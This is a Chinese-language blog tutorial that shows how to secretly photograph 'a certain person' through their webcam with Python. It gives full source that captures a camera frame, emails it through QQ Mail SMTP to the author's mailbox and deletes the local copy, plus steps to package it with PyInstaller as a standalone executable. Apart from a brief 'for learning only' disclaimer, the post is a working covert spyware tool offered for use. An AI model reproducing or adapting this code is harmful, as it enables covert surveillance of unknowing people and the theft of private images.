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[人工智能]引人遐想,用 Python 获取你想要的 “某个人” 摄像头照片

仅用来学习,希望给你们有提供到学习上的作用。

1.安装库

需要安装python3.5以上版本,在官网下载即可。然后安装库opencv-python,安装方式为打开终端输入命令行。

2.更改收件人和发件人为自己邮箱,更改授权码

获取授权码的方法:

  1. 点击设置
  2. 点击账户
  3. 开启pop3/smtp服务
  4. 验证密保
  5. 获取到16位授权码

第一步:
在这里插入图片描述
第二步:
在这里插入图片描述
第三步:
在这里插入图片描述
第四、五步:
在这里插入图片描述

3.编译成可执行文件

打包方法:

  1. 先安装pyinstaller,在终端中输入pip install pyinstaller
  2. 找路径,用cd法找路径比较麻烦,可以直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。

在这里插入图片描述

打包,输入命令行

pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件

在这里插入图片描述

dist文件夹里面即可找到可执行文件。
在这里插入图片描述

4.源码与注释

import os                    # 删除图片文件
import cv2                   # 调用摄像头拍摄照片
from smtplib import SMTP_SSL          # SSL加密的  传输协议
from email.mime.text import MIMEText      # 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header         # 发送内容
 
 
# 调用摄像头拍摄照片
def get_photo():
  cap = cv2.VideoCapture(0)      # 开启摄像头
  f, frame = cap.read()        # 将摄像头中的一帧图片数据保存
  cv2.imwrite('image.jpg', frame)   # 将图片保存为本地文件
  cap.release()            # 关闭摄像头
 
 
# 把图片文件发送到我的邮箱
def send_message():
  # 选择QQ邮箱发送照片
  host_server = 'smtp.qq.com'     # QQ邮箱smtp服务器
  pwd = '****************'      # 授权码
  from_qq_mail = 'QQ@qq.com'     # 发件人
  to_qq_mail = 'QQ@qq.com'      # 收件人
  msg = MIMEMultipart()        # 创建一封带附件的邮件
 
  msg['Subject'] = Header('摄像头照片', 'UTF-8')  # 消息主题
  msg['From'] = from_qq_mail            # 发件人
  msg['To'] = Header("YH", 'UTF-8')        # 收件人
  msg.attach(MIMEText("照片", 'html', 'UTF-8'))  # 添加邮件文本信息
 
  # 加载附件到邮箱中 SSL 方式  加密
  image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
  image["Content-Type"] = 'image/jpeg'  # 附件格式为图片的加密数据
  msg.attach(image)           # 附件添加
 
  # 开始发送邮件
  smtp = SMTP_SSL(host_server)      # 链接服务器
  smtp .login(from_qq_mail, pwd)     # 登录邮箱
  smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱
  smtp.quit()   # 退出
 
 
if __name__ == '__main__':
  get_photo()         # 开启摄像头获取照片
  send_message()       # 发送照片
  os.remove('image.jpg')   # 删除本地照片

5.效果如下

最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。
在这里插入图片描述
感谢看到这里的你,分享到这里结束了,更多Python精彩内容可以关注我看我主页,三连~

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加:2021-09-18 10:08:28  更:2021-09-18 10:08:46 
 
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